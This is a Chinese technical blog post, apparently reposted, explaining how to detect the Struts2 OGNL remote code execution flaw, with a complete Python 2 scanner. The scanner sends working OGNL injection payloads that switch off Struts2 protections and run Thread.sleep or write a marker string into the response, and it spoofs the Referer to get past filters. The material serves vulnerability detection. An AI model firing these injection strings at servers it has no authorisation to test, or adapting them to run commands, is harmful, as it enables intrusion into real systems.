当前位置: 代码迷 >> Web前端 >> Struts2远路代码执行漏洞检测的原理和代码级实现
  详细解决方案

Struts2远路代码执行漏洞检测的原理和代码级实现

热度:105   发布时间:2012-09-03 09:48:39.0
Struts2远程代码执行漏洞检测的原理和代码级实现

想必最近很火的Struts2漏洞大家应该有所耳闻吧,如果你没听说也没关系,关于这个漏洞的描述可以用一句话总结:漏洞很普遍,后果很严重。由于JavaEE的应用普遍偏向于使用SSH框架(Spring+Struts+Hibernate)开发,而且存在漏洞的Struts <= 2.2版本被大量使用,所以其影响可想而知。

所有主流的Java中间件服务器都可能受到该漏洞的影响,特别是大家喜欢的Tomcat,问题尤为严重,倒不是因为Tomcat上Struts漏洞更多,而主要是大家习惯了在管理员用户桌面或root用户的终端中使用startup.bat或startup.sh启动Tomcat,这样的后果就是,你的Tomcat进程具有相当高的权限,高到足够让黑客对你的服务器做任何事情(笔者在渗透测试工作中曾遇到过使用域管理员身份启动的Tomcat,汗...)。

本文只介绍Struts2漏洞的检测原理和实现,关于该漏洞的更多信息大家可以Google,如果感兴趣的话也可以留言或微博联系@evan-css,我会在后续的文章中和大家一起对该漏洞进行更加深入的分析,包括修补的办法。废话少说,直接上代码吧,该说的都在代码中注释了,此代码在Windows版的Python 2.7环境中测试通过。

使用方法:

python struts_scan.py http://target.url
 
源代码:

 

#-*-coding:utf-8-*- 
import os,sys
import httplib
import string
import time
import urlparse 

"""
Struts2漏洞测试程序,By @EVAN-CSS 20120820
欢迎加关注@EVAN-CSS共同探讨网络安全话题
"""

"""
用于发送HTTP请求的函数,我在这里实现了Get和Post两种请求方式,实现了返回响应时间的功能以便漏洞测试使用
"""
def SendHTTPRequest(strMethod,strScheme,strHost,strURL,strParam):
    headers = {
        "Accept": "image/gif, */*", 
        "Referer": strScheme + "://" + strHost,   #将Referer修改成为其自身的URL,有助于绕过一些过滤机制
        "Accept-Language": "zh-cn", 
        "Content-Type": "application/x-www-form-urlencoded", 
        "Accept-Encoding": "gzip, deflate", 
        "User-Agent": "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)", 
        "Host": strHost,
        "Connection": "Keep-Alive", 
        "Cache-Control": "no-cache" 
    }
    strRet=""
    time_inter=0
    try:
        time1=0  #使用两个time变量获取请求的执行时间,Python应该有更好的实现办法,可惜我对Python只懂皮毛,先这样吧
        time2=0
        time1=time.time() * 1000
        if strScheme.upper()=="HTTPS": #URLLib中,对于HTTP和HTTPS的连接要求是不同的
            con2 = httplib.HTTPSConnection(strHost)
        else:
            con2 = httplib.HTTPConnection(strHost)
            
        if strMethod.upper()=="POST":
            con2.request(method="POST",url= strURL, body=strParam, headers=headers)
        else:
            con2.request(method="GET",url= strURL, headers=headers)
        r2 = con2.getresponse()
        strRet= r2.read().strip() 
        time2=time.time() * 1000    
        time_inter=time2-time1    #得到请求的响应时间
        con2.close
    except BaseException,e:
        print e
        con2.close
    return (time_inter,strRet)

"""
第1种测试方法,使用响应时间来判定
请注意payload中最后一句,如果执行成功的话会让线程睡眠8000毫秒
向同一URL发送两次请求(1次不带Payload,1次带上Payload),通过响应时间的差异判定是否存在漏洞。
由于很难确保每次请求的基准响应时间一致,因此使用6000(毫秒)作为判定是否存在漏洞的阈值
"""
def RunTest1(strScheme,strHost,strURL):
    payload1="""('\\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\\43context[\\'xwork.MethodAccessor.denyMethodExecution\\']\\75false')(b))&('\\43c')(('\\43_memberAccess.excludeProperties\\75@java.util.Collections@EMPTY_SET')(c))&(d)(('@java.lang.Thread@sleep(8000)')(d))"""
    (inter1,html1)=SendHTTPRequest("GET",strScheme,strHost,strURL,"")          #没有Payload的请求
    (inter2,html2)=SendHTTPRequest("POST",strScheme,strHost,strURL,payload1)   #带有Payload的请求
    if (inter2 - inter1)>6000:
        return True
    else:
        return False


"""
第2种测试方法,使用响应内容判定
这种方法很准确,很高效(无需等待服务器端睡眠),但有可能会有漏报的情况出现,如服务器不支持该命令或做了一些过滤的情况
请注意Payload中getWriter().print("struts-security"),如果服务器存在漏洞,会执行该注入的命令,在响应中会包含struts-security字样
"""
def RunTest2(strScheme,strHost,strURL):    
    payload1="""('\\43_memberAccess[\\'allowStaticMethodAccess\\']')(meh)=true&(aaa)(('\\43context[\\'xwork.MethodAccessor.denyMethodExecution\\']\\75false')(d))&('\\43c')(('\\43_memberAccess.excludeProperties\\75@java.util.Collections@EMPTY_SET')(c))&(asdf)(('\\43rp\\75@org.apache.struts2.ServletActionContext@getResponse()')(c))&(fgd)(('\\43rp.getWriter().print("struts2-security")')(d))&(fgd)&(grgr)(('\\43rp.getWriter().close()')(d))=1"""
    (inter1,html1)=SendHTTPRequest("POST",strScheme,strHost,strURL,payload1)
    if html1.find("struts2-security")>=0:
        return True
    else:
        return False

"""
执行测试,为了提高效率,先执行第2种方法,如果第2种判定无漏洞,再使用第1种方法进行验证
"""
def RunTests(strURL):
    t_url=urlparse.urlparse(strURL)
    strScheme=t_url.scheme
    strHost = t_url.netloc
    strURL1 = t_url.path
    print "Checking " + strURL
    if RunTest2(strScheme,strHost,strURL1):
        print "Vulnerable!"
        return True
    elif RunTest1(strScheme,strHost,strURL1):
        print "Vulnerable!"
        return True
    else:
        print "Secure."
        return False
    
 
if __name__ == "__main__":
    if len(sys.argv)!=2:
        print "INVALID ARGUMENTS."
        exit()
 
    m_URL=sys.argv[1]
    RunTests(m_URL)

 

  相关解决方案